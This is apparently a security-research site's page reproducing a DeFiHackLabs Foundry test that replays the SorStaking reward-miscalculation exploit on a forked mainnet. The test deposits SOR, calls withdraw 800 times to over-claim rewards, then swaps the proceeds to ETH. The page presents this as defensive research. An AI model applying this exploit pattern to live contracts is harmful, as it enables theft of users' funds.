Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/sorraStaking.sol

Public reproduction file for dataset entry SorStaking.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/sorraStaking.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// reason : wrong reward calculate
8// guy : https://x.com/TenArmorAlert/status/1875582709512188394
9// tx : https://app.blocksec.com/explorer/tx/eth/0x72a252277e30ea6a37d2dc9905c280f3bc389b87f72b81a59aa8f50baebd8eaa -->deposit
10// : https://app.blocksec.com/explorer/tx/eth/0x6439d63cc57fb68a32ea8ffd8f02496e8abad67292be94904c0b47a4d14ce90d -->attack
11// total loss : 4.8 + 2.4 + 0.8 eth
13contract ContractTest is Test {
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 IERC20 SOR = IERC20(0xE021bAa5b70C62A9ab2468490D3f8ce0AfDd88dF);
16 address sorStaking = 0x5d16b8Ba2a9a4ECA6126635a6FFbF05b52727d50;
17 Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
20 function setUp() external {
21 cheats.createSelectFork("mainnet", 21450734);
22 // attacker buy sor
23 deal(address(SOR), address(this), 122868871710593438486048);
24 deal(address(this),0);
25 }
27 function testExploit() external {
28 emit log_named_decimal_uint("[Begin] ETH balance before", address(this).balance, 18);
29 SOR.approve(sorStaking, type(uint256).max);
31 bytes memory depositData = abi.encodeWithSignature(
32 "deposit(uint256,uint8)",
33 122868871710593438486048, // 使用全部SOR代币数量
34 0 // tier设为0
35 );
37 (bool success,) = sorStaking.call(depositData);
38 require(success, "deposit failed");
39 console.log("Current before block timestamp:", block.timestamp);
40 cheats.warp(block.timestamp + 14 days + 1);
41 console.log("Current after block timestamp:", block.timestamp);
42 bytes memory withdrawData = abi.encodeWithSignature(
43 "withdraw(uint256)",
44 1
45 );
47 for(uint i = 0; i < 800; i++) {
48 (bool withdrawSuccess,) = sorStaking.call(withdrawData);
49 require(withdrawSuccess, "withdraw failed");
50 }
52 // 将SOR代币换成ETH,只wrap了时间,没有roll blocknumber所以兑换的eth会有差异
53 SOR.approve(address(router), SOR.balanceOf(address(this)));
54 address[] memory path = new address[](2);
55 path[0] = address(SOR);
56 path[1] = address(router.WETH());
57 for(uint i = 0; i < 7; i++) {
58 router.swapExactTokensForETHSupportingFeeOnTransferTokens(
59 700000000000000000000000, // --> max sell amount
60 0,
61 path,
62 address(this),
63 block.timestamp
64 );
65 }
67 emit log_named_decimal_uint("[End] ETH balance after", address(this).balance, 18);
68 }
70 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “SorStaking” (2025-01-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
SorStaking
Path
src/test/2025-01/sorraStaking.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6831749e863c0fbfd24ef018cf37985967e95c90
Language
Solidity
Size
72 lines
Date
2025-01-04
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/sorraStaking.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6831749e863c0fbfd24ef018cf37985967e95c90, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.